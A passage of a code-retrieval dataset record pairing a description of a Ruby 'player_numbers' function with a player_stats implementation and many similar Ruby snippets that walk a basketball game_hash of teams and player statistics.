:players => {\n \"Jeff Adrien\" => {\n :number => \"4\",\n :shoe => \"18\",\n :points => \"10\",\n :rebounds => \"1\",\n :assists => \"1\",\n :steals => \"2\",\n :blocks => \"7\",\n :slam_dunks => \"2\"\n },\n \"Bismak Biyombo\" => {\n :number => \"0\",\n :shoe => \"16\",\n :points => \"12\",\n :rebounds => \"4\",\n :assists => \"7\",\n :steals => \"7\",\n :blocks => \"15\",\n :slam_dunks => \"10\"\n },\n \"DeSagna Diop\" => {\n :number => \"2\",\n :shoe => \"14\",\n :points => \"24\",\n :rebounds => \"12\",\n :assists => \"12\",\n :steals => \"4\",\n :blocks => \"5\",\n :slam_dunks => \"5\"\n },\n \"Ben Gordon\" => {\n :number => \"8\",\n :shoe => \"15\",\n :points => \"33\",\n :rebounds => \"3\",\n :assists => \"2\",\n :steals => \"1\",\n :blocks => \"1\",\n :slam_dunks => \"0\"\n },\n \"Brendan Haywood\" => {\n :number => \"33\",\n :shoe => \"15\",\n :points => \"6\",\n :rebounds => \"12\",\n :assists => \"12\",\n :steals => \"22\",\n :blocks => \"5\",\n :slam_dunks => \"12\"\n }\n }\n }\n }\nend",
"def game_hash\n {\n :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => [\n {:player_name => \"Alan Anderson\",\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n {:player_name => \"Reggie Evans\", \n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n {:player_name => \"Brook Lopez\",\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n {:player_name => \"Mason Plumlee\",\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 11,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n {:player_name => \"Jason Terry\",\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n ]\n },\n :away => {\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => [\n {:player_name => \"Jeff Adrien\",\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n {:player_name => \"Bismack Biyombo\",\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 22,\n :blocks => 15,\n :slam_dunks => 10\n },\n {:player_name => \"DeSagna Diop\",\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n {:player_name => \"Ben Gordon\",\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n {:player_name => \"Kemba Walker\",\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 7,\n :blocks => 5,\n :slam_dunks => 12\n }\n ]\n }\n }\nend",
"def winning_team\n most_points_scored_helper\n winning_team = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if most_points_scored_helper == element[:points]\n winning_team = value[:team_name]\n end\n end\n end\n winning_team\nend",
"def get_col_colors\n col_colors = Hash.new \n col_colors[:throwing] = '#ccffff'\n col_colors[:hitting] = '#ffcccc'\n col_colors[:running] = '#ccccff'\n col_colors[:fielding] = '#ccffcc'\n col_colors[:none] = '#eeeeee'\n col_colors[:fundamentals] = '#C1C1C0'\n col_colors[:experience] = '#969696'\n col_colors\n end"
] |
[
"0.93868095",
"0.9194478",
"0.9161517",
"0.9128551",
"0.90809095",
"0.90202874",
"0.89922494",
"0.8990041",
"0.89654744",
"0.8905889",
"0.8902755",
"0.8876859",
"0.8872983",
"0.88667846",
"0.8851137",
"0.8814347",
"0.8797141",
"0.8776963",
"0.87734103",
"0.87635815",
"0.8745175",
"0.8742166",
"0.8697422",
"0.8697422",
"0.8692792",
"0.86659783",
"0.8644184",
"0.862103",
"0.8561782",
"0.85142994",
"0.83401364",
"0.82507193",
"0.82390577",
"0.8181868",
"0.81633466",
"0.8102519",
"0.8079522",
"0.79067516",
"0.74368346",
"0.73603535",
"0.7343499",
"0.70934784",
"0.7071154",
"0.7004378",
"0.6808656",
"0.678899",
"0.67340744",
"0.6733854",
"0.6718481",
"0.67033803",
"0.6691524",
"0.6645826",
"0.6625284",
"0.6622614",
"0.6609143",
"0.6605647",
"0.66032183",
"0.6600124",
"0.65864503",
"0.6578812",
"0.6569411",
"0.6557573",
"0.6533017",
"0.6530284",
"0.65247995",
"0.65020823",
"0.64955246",
"0.64949054",
"0.6494749",
"0.6486074",
"0.6478082",
"0.64734685",
"0.646834",
"0.6465583",
"0.64614266",
"0.6457103",
"0.6425756",
"0.6423733",
"0.6422081",
"0.6422037",
"0.6421732",
"0.64134234",
"0.6413343",
"0.6410287",
"0.640797",
"0.640509",
"0.63924414",
"0.63773286",
"0.63702476",
"0.63640064",
"0.6363762",
"0.6358233",
"0.6355621",
"0.6355065",
"0.63486826",
"0.6343848",
"0.63425285",
"0.6338255",
"0.6336911",
"0.6332584",
"0.63266474"
] |
0.0
|
-1
|
def player_numbers(team_name) new_array = [] game_hash[:home].each do |ke,va| if va == team_name puts va game_hash[:home][:players].collect do |ke,va| new_array.push (va[:number]) end return new_array end end game_hash[:away].each do |ke,va| if va == team_name puts va game_hash[:away][:players].collect do |ke,va| new_array.push (va[:number]) end return new_array end end end
|
def player_stats(player_name)
game_hash.each do |side, value|
value[:players].each do |name, stats|
if name == player_name
return stats
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def player_numbers(teamname)\n outArray = []\n if game_hash[:home][:team_name] == teamname\n game_hash[:home][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\n\n elsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\nend\nend",
"def player_numbers(team_name)\n #returning an array of all the player numbers for each team\n arr = [] \n game_hash.each do |location, team|\n if team[:team_name] == team_name\n team[:players].each do |player_name, player_info|\n arr << player_info[:number]\n end\n end\n end\n arr\nend",
"def player_numbers(team_name)\n new_Arr = []\n game_hash.each do |place, team|\n if team_name == team[:team_name]\n team.each do |attribute, data|\n if attribute == :players\n data.each do |player|\n new_Arr.push(player[:number])\n # binding.pry\n end\n end\n end\n end\n end\n new_Arr\nend",
"def player_numbers(team_name)\n outcome = []\n game_hash.each do |home_or_away, team_details|\n team_details.each do |key,value|\n if value == team_name\n game_hash[home_or_away][:players].each do |one_hash|\n one_hash.each do |key1,value1|\n if key1 == :number \n outcome << one_hash[key1]\n end\n end\n end \n end\n end\n end\n outcome\nend",
"def player_numbers (team_name)\n player_number_array = []\n game_hash.each do |team, all_info_hash|\n if all_info_hash[:team_name] == team_name\n all_info_hash[:players].each do |player|\n player.each do |key, value|\n if key == :number\n player_number_array << value\n end\n end\n end\n end\n end\n player_number_array\nend",
"def player_numbers(name_of_team)\n #built an empty array called numbers\n numbers = []\n # game_hash.each do |team, random| iterates over the hash to return all player numbers\n game_hash.each do |team, random|\n if name_of_team == game_hash[team][:team_name]\n game_hash[team][:players].each do |name, stats|\n numbers.push(stats[:number])\n end\n end\n end\n return numbers\nend",
"def player_numbers (name=\"Brooklyn Nets\")\n n = []\n game_hash.each do |location, team_data|\n if(team_data[:team_name] == name)\n team_data[:players].each do |key, data|\n n << data[:number]\n end\n end\n end\n\n n\nend",
"def player_numbers(team_name)\n result = []\n game_hash.each do |team, about|\n if team_name == about[:team_name]\n about[:players].each do |name, stats|\n result << stats[:number]\n end\n end\n end\n result\nend",
"def player_numbers(team_input)\n return_arr = []\n game_hash.each do |location, team|\n team.each do |team_info, data|\n if data == team_input\n team[:players].each do |name, stats|\n return_arr.push(stats[:number])\n end\n end\n end\n end\n return_arr\nend",
"def player_numbers(team_name)\n player_number = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name \n team[:players].each do |player|\n player_number<< player[:number]\n end\n end\n end\n player_number\n end",
"def player_numbers(team)\n numbers = []\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team\n team_data[:players].each do |player_name, stat|\n numbers << stat[:number]\n end\n end\n end\n return numbers\nend",
"def player_numbers(team)\n output = []\n hash = game_hash\n hash.each do |location, team_data|\n if team == game_hash[location][:team_name]\n hash[location][:players].each do |name, stats|\n output.push(stats[:number])\n end\n end\n end\n return output\nend",
"def player_numbers(input_team)\nnumbers = []\ngame_hash.each do |place, team|\n if team[:team_name] == input_team\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| #passing through an array \n numbers.push(player[:number])\n end \n end\n end\n end\nnumbers\nend",
"def player_numbers (team_name)\n player_numbers_list = [] #Empty array to hold lst of players numbers\n game_hash.each do |team_key, team_value|#iterate down 1 level\n if team_value[:team_name] == team_name\n team_value[:players].each do |player_stats|\n player_stats.each do |key, value|#iterate through each players stats\n if key == :number #set :number as the comparison ID\n player_numbers_list << value # push players numbers/\"value\" into the empty array\n end\n end\n end\n end\n end\n player_numbers_list\nend",
"def player_numbers(team_name)\n results = []\n \n game_hash.each do |location, team_data|\n if team_data[:team_name] == team_name\n team_data.each do |attributes, data|\n if attributes == :players\n data.each do |data_item|\n results << data_item[:number]\n end\n end\n end\n end\n end\n return results\nend",
"def player_numbers(team_name)\n jersey_numbers = []\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if team_name == value[:team_name]\n jersey_numbers << element[:number]\n end\n end\n end\n jersey_numbers\nend",
"def player_numbers(team_name)\n result = []\n game_hash.each do |side,team|\n if team[:team_name] == team_name\n team.each do |specs, info|\n next unless specs == :players\n\n info.each do |player|\n result.push(player[:number])\n end\n end\n end\n end\n result\nend",
"def player_numbers(user_team_name)\n numbers = []\n game_hash.each do |k, team|\n if team[:team_name] == user_team_name\n team[:players].each do |player|\n numbers.push(player[:number])\n end\n end\n end\n numbers\nend",
"def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n team.each do |attribute, player_info|\n if attribute == :players\n player_info.each do |data|\n jersey_nums << data[:number]\n end\n end\n end\n end\n end\n jersey_nums\nend",
"def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |location, data|\n if data[:team_name] == \"#{team_name}\" #found match\n data[:players].each do |player, value|\n jersey_nums << value[:number]\n end\n end\n end\n jersey_nums\nend",
"def player_numbers(team_name)\n team_player_numbers = []\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors && info[:team_name] == team_name\n team_data.each do |player_index|\n team_player_numbers << player_index[:number]\n end\n end\n end\n end\n end\n team_player_numbers\nend",
"def player_numbers(team)\n # data = game_hash\n jersey_data = team_name_stats(game_hash)\n jersey_nums = []\n \n jersey_data.each_pair do |team_name, team_hash|\n if team_name == team\n team_hash.each_pair do |team_key, team_value|\n if team_key == :players\n team_value.map do |player|\n player.each_pair do |player_key, player_value|\n \n if player_key == :number\n jersey_nums << player_value\n end\n \n end\n end\n end\n end\n end\n end\n \n jersey_nums\nend",
"def player_numbers(team)\n player_numbers = []\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n attributes[:players].each do |player, stats|\n player_numbers << stats[:number]\n end\n end\n end\n player_numbers\nend",
"def player_numbers(team_name)\n player_nums = []\n #top level\n game_hash.each do |location, team_data|\n #team?\n if game_hash[location][:team_name].join == team_name\n #all players\n game_hash[location][:players].each do |all_players|\n #iterate over players\n all_players.each do |player_name,stats|\n #check number\n stats.each do |category, val|\n if category == :number\n player_nums << stats[category]\n end\n end\n end\n end\n end\n end\n player_nums\nend",
"def player_numbers(team_name)\n team_numbers = nil\n game_hash.map do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_numbers = team_stats[:players].map do |player_stats|\n player_stats[:number]\n end\n end\n end\n team_numbers\nend",
"def player_numbers(team_name)\n\nnum_array = []\n\ngame_hash.each do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_stats.each do |k, v|\n if k == :players \n v.each do |stats|\n num_array << stats[:number]\n end\n end\n end\nend\nend\n#the final array should be the last thing returned before program ends\nnum_array\nend",
"def player_numbers(team_name)\n jersey_numbers = []\n game_hash.keys.each do |location|\n next unless game_hash[location][:team_name] == team_name\n\n game_hash[location][:players].keys.each do |name|\n jersey_numbers.push(game_hash[location][:players][name][:number])\n end\n end\n jersey_numbers\nend",
"def player_numbers(t_name)\narr = []\ngame_hash.collect do |key, value|\nif game_hash[key].values.include?(t_name)\nvalue[:players].collect do |key2, value2|\n# puts value2\narr << value2[:number]\nend\nend\nend\narr\nend",
"def player_numbers(team_name)\n nums = []\n \n tname = false\n game_hash.each do |location, team_hash|\n\n \n #the below is actually iterating through the keys of the hash containing the team info, because the value of game_hash is....another hash\n team_hash.each do |key, vals|\n \n #set flag to true if it's the right team\n if vals == team_name \n tname = true \n # this makes sure I'm only iterating through the right pair to begin with\n if key == :players && tname == true # might need to swap these two\n vals.each do |player, stat| # remember stat is a hash (the value of the player name)!\n \n #push the stat into the array if it's the jersey number, otherwise keep iterating. \n nums << stat.fetch_values(:number)\n end\n end\n end\n end\n end\n nums.flatten\nend",
"def player_numbers(team_name)\n array_of_jerseys = []\n one_team_stats(team_name)[:players].each do |player, stats|\n array_of_jerseys << stats[:number]\n end\n array_of_jerseys\nend",
"def player_nums(team, hashketball)\r\n sym = team.to_sym\r\n player_numbers = []\r\n \r\n hashketball[sym][:players].each_value do |x|\r\n player_numbers << x[:number]\r\n end\r\n player_numbers\r\nend",
"def player_numbers (team_name)\n all_jersies = [];\n lookup_by_team(team_name)[:players].map { |player|\n all_jersies << player[:number];\n }\n all_jersies; \nend",
"def player_numbers(selected_team)\n game_hash.values.each do |team|\n if team.has_value?(selected_team)\n return team[:players].map {|jerseys| jerseys[:number]}\n end\n end\nend",
"def player_numbers(team)\n numbers = []\n\tif team == \"Brooklyn Nets\"\n\t\tgame_hash[:home][:players].each do |player_name, player_info_hash|\n # player_name = home game player names string(key), player_info_hash = player_info_hash = :number, :shoe, :points, :rebounds, :assists, :steals, :blocks, :slam_dunks\n\t\t\tnumbers << player_info_hash[:number]\n\t\tend\n\t\treturn numbers.sort\n\telse team == \"Charlotte Hornets\"\n\t\t\tgame_hash[:away][:players].each do |player_name, player_info_hash|\n\t\t\tnumbers << player_info_hash[:number]\n\t\tend\n\t\treturn numbers.sort\n\tend\nend",
"def player_numbers(team_name)\n jersey_numbers = Array.new\n\n if !game_hash.keys.include?(:team_name)\n game_hash.each do |location, team_info|\n if team_info.keys.include?(:team_name)\n team_info.each do |attribute, quanity|\n if quanity == team_name\n team_info.each do |attribute, quanity|\n if attribute == :players\n # binding.pry\n quanity.each do |name, stats|\n if name.length > 0\n # binding.pry\n stats.each do |stat, stat_quanity|\n if stat == :number\n # binding.pry\n jersey_numbers << stat_quanity\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\nputs jersey_numbers\nreturn jersey_numbers\nend",
"def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend",
"def player_numbers(team_name)\n team = all_team_info(team_name)\n team[:players].map do |player|\n player[:number]\n end\nend",
"def player_numbers(teamName)\n infoABoutASingleTeam = find_a_single_team_based_on_name(arg_team_name)\n players_on_a_team = = infoABoutASingleTeam[1][:players]\n players_on_a_team.map do |player_hash\n\n player_hash[:number]\n end\nend",
"def player_data\n players = []\n game_hash.each do |home_away, team_details|\n players << team_details[:players]\n end\n return players.flatten\nend",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def team_names\n new_array = []\n new_array<< game_hash[:home][:team_name]\n new_array<< game_hash[:away][:team_name]\n return new_array\nend",
"def team_names\n # team_array = []\n # team_array.push(game_hash[:home][:team_name])\n # team_array.push(game_hash[:away][:team_name])\n # team_array\n game_hash.map do |location, team_data|\n team_data[:team_name]\n end\nend",
"def winning_team\n points_home = 0\n points_away = 0\n result = \"\"\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if side = :home\n points_home += player[:points]\n else\n points_away += player[:points]\n end\n end\n end\n end\n end\n if points_home > points_away\n result = game_hash[:home][:team_name]\n else\n result = game_hash[:away][:team_name]\n end\n result\nend",
"def winning_team\n team_p = []\n team_n = []\n\n game_hash.each do | location, team_data|\n temp = 0\n team_data[:players].each do |p_name, stats|\n temp += stats[:points]\n end\n team_n << team_data[:team_name]\n team_p << temp\n end\n\n team_p[0] > team_p[1] ? team_n[0] : team_n[1]\n\nend",
"def winning_team\n home_points = 0\n away_points = 0\n team1 = \"Brooklyn Nets\"\n team2 = \"Charlotte Hornets\"\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n if info[:team_name] == \"Brooklyn Nets\"\n team_data.each do |player_index|\n home_points += player_index[:points]\n end\n else \n team_data.each do |player_index|\n away_points += player_index[:points]\n winning_team end\n end\n end\n end\n end\n end\n\n if home_points > away_points\n team1\n else\n team2\n end\n\nend",
"def team_names\n fin_arr = []\n fin_arr << game_hash[:home][:team_name]\n fin_arr << game_hash[:away][:team_name]\n fin_arr\nend",
"def team_names\n arrayOfTeamNames = [] #initialize new hash\n arrayOfTeamNames << game_hash[:home][:team_name]\n arrayOfTeamNames << game_hash[:away][:team_name] #shovel it with the data\nend",
"def team_names\n team_names = []\n game_hash.each do |home_or_away, team_stats|\n team_names << team_stats[:team_name]\n end\n team_names\nend",
"def player_numbers(teamName)\n teamSelect(teamName)[:players].collect do|name, stats|\n stats[:number]\n end\nend",
"def winning_team\n home_points = 0\n away_points = 0\n result = \"\"\n i = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n if i == 0\n home_points += stats[:points]\n else\n away_points += stats[:points]\n end\n end\n i += 1\n end\n home_points > away_points ? result = game_hash[:home][:team_name] : result = game_hash[:away][:team_name]\nend",
"def get_players\n players = []\n game_hash.each do |teams, team_data|\n # players.push(team_data[:players])\n players << team_data[:players]\n end\n players.flatten\nend",
"def team_names\n data = game_hash\n all_teams = []\n \n data.each_pair do |home_away, home_away_hash|\n home_away_hash.each_pair do |team_key, team_value|\n \n if team_key == :team_name\n all_teams << team_value\n end\n \n end\n end\n all_teams\nend",
"def team_names\n output =[]\n game_hash.each do |location, team_data|\n output.push(team_data[:team_name])\n end\n output\nend",
"def players_names_array \n player_names = []\n game_hash.each do |place,team|\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| \n player_names.push(player[:player_name])\n end\n end\n end\n player_names\nend",
"def team_names \n # team_array = []\n # game_hash.each do |location, team_data|\n # team_array << team_data[:team_name]\n # end\n # team_array\n game_hash.collect do |location, team_data|\n team_data[:team_name]\n end\nend",
"def team_names\n team_name = []\n game_hash.each do |team,info|\n team_name << info[:team_name]\n end\n team_name\nend",
"def team_names\n teams = []\n teams << game_hash[:home][:team_name]\n teams << game_hash[:away][:team_name]\n return teams\nend",
"def team_names\n # built an empty array called teams\n teams = []\n # game_hash.each do |team, random| iterates over the hash to return all of the team_names\n game_hash.each do |team, random|\n teams.push(game_hash[team][:team_name])\n end\n return teams\nend",
"def all_players\n home_team = game_hash.fetch(:home).fetch(:players)\n away_team = game_hash.fetch(:away).fetch(:players)\n return home_team + away_team\nend",
"def team_names\n # team_array = []\n game_hash.map do |location, team_data|\n # p team_data[:team_name]\n team_data[:team_name]\n end\nend",
"def team_names()\n result = []\n game_hash.each do |side,team|\n result.push(team[:team_name])\n end\n result\nend",
"def player_stats(name)\n# player_stats start at nil (nothing)\n player_stats = nil\n# game_hash.each do |home_away, team_info| iterates over the hash to return all player_stats\n game_hash.each do |home_away, team_info|\n team_info.each do |data_label, data|\n if data_label == :players\n data.each do |player_name, stats|\n if player_name == name\n player_stats = stats\n end\n end\n end\n end\n end\n player_stats\nend",
"def get_all_players\n ## Version 2.0 ##\n\n all_players = []\n\n # Same steps, but since we don't care about team, let's use .values to just\n # iterate over the team_data:\n game_hash.values.each do |team_data|\n team_data[:players].each do |player|\n all_players << player\n end\n end\n\n all_players\nend",
"def team_names\n cala=[]\n game_hash.each do |status,information|\n # puts status\n # puts information[:team_name]\n cala<< information[:team_name]\n end\n p cala\nend",
"def team_names\n teams = []\n teams << game_hash[:home][:team_name] << game_hash[:away][:team_name]\nend",
"def team_names()\n temp =[]\n game_hash.each do |location, team_data|\n #binding.pry\n temp << team_data[:team_name]\n end\n temp\nend",
"def winning_team\n home_team_sum = 0\n away_team_sum = 0\n game_hash.each do |team, team_stats|\n if team_stats[:team_name] == \"Brooklyn Nets\"\n team_stats[:players].each do |player_stats|\n home_team_sum += player_stats[:points]\n end\n elsif team_stats[:team_name] == \"Charlotte Hornets\"\n team_stats[:players].each do |player_stats|\n away_team_sum += player_stats[:points]\n end\n end\n end\n if home_team_sum > away_team_sum\n game_hash[:home][:team_name]\n elsif home_team_sum < away_team_sum\n game_hash[:away][:team_name]\n end\nend",
"def team_names\n new_array = []\n game_hash.each do |k,v|\n new_array.push(v[:team_name])\n end\nnew_array\nend",
"def players\n all_players = {}\n game_hash.each do |home_or_away, team_stats|\n all_players.merge!(team_stats[:players])\n end\n all_players\nend",
"def team_names\n team = []\n game_hash.values.each do |team_info|\n team << team_info[:team_name]\n end\n team\nend",
"def team_names\n names = []\n game_hash.each do |location, data|\n names << data[:team_name]\n end\n names\nend",
"def num_points_scored (sportsman)\ngame_hash\nscores = 0\n game_hash.each do |team_position, team_data|\n team_data.each do | player_name, information|\n # binding.pry\n if player_name == :players \n information.each do |name, numbers|\n #binding.pry\n if name == sportsman \n numbers.each do |key, value|\n #binding.pry\n if key == :points\n #binding.pry\n return scores = value.to_i\n #binding.pry\n end\n end\n end\n end\n end\n end\n end \n #return scores\n end",
"def player_stats(player)\n game_hash.each do |location, team_info_hash|\n # location = :home,:away; players_hash = :team_name, :colors, :players\n team_info_hash[:players].each do |player_name, player_info_hash|\n # player_name = \"Jeff Adrian\" ect., player_info_hash = :number, :shoe, :points, :rebounds, :assists, :steals, :blocks, :slam_dunks\n if player_name == player\n return player_info_hash\n end\n end\n end\nend",
"def players\n # players_array = []\n # iterating through game hash and returning a list of all my players\n game_hash.map do |key, value|\n value[:players]\n end.flatten\n\nend",
"def home_team_players\n home_team_players = game_hash[:home][:players]\nend",
"def team_names\n team_names = []\n \n game_hash.each do |key, value|\n team_names << value[:team_name]\n end\n team_names\nend",
"def all_stats_for_player(name, game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\nend",
"def all_players\n home_players = game_hash[:home][:players] # Array of player Hashes\n away_players = game_hash[:away][:players] # Array of player Hashes\n home_players + away_players # Array of player Hashes\nend",
"def all_players\n home_players = game_hash[:home][:players] # Array of player Hashes\n away_players = game_hash[:away][:players] # Array of player Hashes\n home_players + away_players # Array of player Hashes\nend",
"def getGamesPlayedArray()\n standings = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/standings\"))[\"records\"]#[0][\"teamRecords\"][0]\n for division in standings\n divisionRecords = division[\"teamRecords\"]\n for team in divisionRecords\n teamName = team[\"team\"][\"name\"]\n if teamName.include? \"Canadiens\"\n teamName = \"Montreal Canadiens\"\n end\n @games_played[teamName] = team[\"gamesPlayed\"]\n end\n end\n @games_played[\"N/A\"] = 82\nend",
"def homeTeamPoints\n teamSelect(\"Brooklyn Nets\")[:players].collect do |name, stats|\n stats[:points]\n end\nend",
"def team_names\n team_names = []\n for location in game_hash.keys\n team_names.push(game_hash[location][:team_name])\n end\n return team_names\nend",
"def points(name)\n \n consolidated_player_list = game_hash[:home][:players] + game_hash[:away][:players]\n consolidated_player_list\n player_stat_hash = {}\n\n consolidated_player_list.each do |player|\n key = player[:player_name]\n player_stat_hash[key] = player\n end\n\n points = 0\n player_stat_hash.each do |player|\n points = player[1][:points] if player[0] == name\n end\n points\nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.collect do |team_key, team_value|\n team_value[:players].each do |stats|\n if stats[:name] == player_name\n stats.delete(:name)#deletes name to keep in same formart ask for in test.\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def winning_team\n total_points = 0 #initialize points at zero \n \n win_team = '' #set win team to an empty string \n \n game_hash.each do |location, team| #iterating over game hash\n team_points = 0 #initialize team points at zero \n team_name = game_hash[location][:team_name] \n # set team name = to game_hash at the the location at the # :team name \n \n team[:players].each do |player| #iterate over players \n points = player[:points] # set points = player points \n team_points += points #team points is the addition of every single point value from each player\n \n #binding.pry \n end\n \n win_team, total_points = team_name, team_points if team_points > total_points\n \n #binding.pry \n \n end\n \n return win_team\n\nend",
"def team_names\n team_names = []\n #top level\n game_hash.each do |location, team_data|\n #2nd level\n team_data.each do |team_deets, values|\n #find team name pair\n if team_deets == :team_name\n team_names << team_data[team_deets]\n end\n end\n end\n team_names = team_names.flatten\nend",
"def team_names\n [\n game_hash.dig(:home, :team_name),\n game_hash.dig(:away, :team_name)\n ]\nend",
"def get_all_players\n ## Version 2.0 ##\n\n # Same steps, but with a slight tweak...\n all_players = {}\n\n # We don't need team. We only want to loop through the data.\n # So, why don't we use .values to and then just loop through the values\n # in the hash!\n game_hash.values.each do |team_data|\n all_players.merge! team_data[:players]\n end\n\n all_players\nend",
"def player_stats(name)\n stats = {}\n game_hash.each do |team, team_data|\n team_data[:players].each do |data, output|\n if data == name \n stats = output\n end\n end\n end\n stats\nend",
"def team_names\n names = []\n game_hash.each do |k, team|\n names.push(team[:team_name])\n end\n names\nend",
"def team_names\n game_hash.collect {|home_or_away, stats| team_name = stats[:team_name].to_s}\nend",
"def player_stats(player_name)\n player_stat = {}\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if player_index[:player_name] == player_name\n player_stat = player_index\n end\n end\n end\n end\n end\n end\n player_stat\nend",
"def num_points_scored(player_name)\n game_hash.each do |home_or_away, team_values|\n team_values[:players].each do |player|\n if player[:player_name] == player_name \n return player[:points]\n end\n end \n end \nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.each do |location, keys|\n keys[:players].each do |player_info|\n if player_info[:player_name] == player_name\n player_info.delete(:player_name)\n player_stats<< player_info\n end \n end\n end\n player_stats[0]\n #binding.pry\nend",
"def player_stats(player)\n game_hash.each do |team, team_info|\n team_info.each do |keys, values|\n if keys == :players \n values.each do |stats|\n if player == stats[:player_name]\n return stats\n end\n end\n end\n end\n end\nend",
"def player_stats(player_name)\n game_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person]\n end\n end\n end\n end\n end\nend",
"def player_stats(player_name)\n result = {}\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n result = player\n result.delete(:player_name)\n end\n end\n end\n end\n end\n result\nend",
"def winning_team\n home_score = 0\n away_score = 0\n game_hash[:home][:players].keys.each do |name|\n home_score += game_hash[:home][:players][name][:points]\n end\n game_hash[:away][:players].keys.each do |name|\n away_score += game_hash[:away][:players][name][:points]\n end\n home_score > away_score ? game_hash[:home][:team_name] : game_hash[:away][:team_name]\nend",
"def team_names\n game_hash.collect do |team, all_info_hash|\n all_info_hash[:team_name]\n end\nend",
"def winning_team\n most_points_scored_helper\n winning_team = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if most_points_scored_helper == element[:points]\n winning_team = value[:team_name]\n end\n end\n end\n winning_team\nend"
] |
[
"0.92847747",
"0.9172286",
"0.9138928",
"0.9042388",
"0.8964447",
"0.89488435",
"0.89378804",
"0.88983834",
"0.88934535",
"0.88729185",
"0.8854876",
"0.88488024",
"0.88102967",
"0.88002765",
"0.87799734",
"0.8763897",
"0.87636507",
"0.874045",
"0.86990726",
"0.86731595",
"0.8662728",
"0.8659736",
"0.8637654",
"0.8603173",
"0.854353",
"0.85314673",
"0.8496542",
"0.8436601",
"0.8423155",
"0.8392674",
"0.8342859",
"0.8330763",
"0.8326053",
"0.82923955",
"0.82817686",
"0.8152972",
"0.80705297",
"0.8039234",
"0.7894795",
"0.78712195",
"0.78517324",
"0.7845911",
"0.7843751",
"0.78364354",
"0.7820399",
"0.7808355",
"0.7782775",
"0.77564853",
"0.77353334",
"0.7726719",
"0.76747143",
"0.76700836",
"0.7664068",
"0.76633227",
"0.7605947",
"0.7595237",
"0.75821686",
"0.7579195",
"0.75644284",
"0.75510734",
"0.75389594",
"0.7523709",
"0.7482458",
"0.7476339",
"0.74636596",
"0.7459118",
"0.74573535",
"0.74439394",
"0.7439096",
"0.74129796",
"0.74019223",
"0.73628825",
"0.73567986",
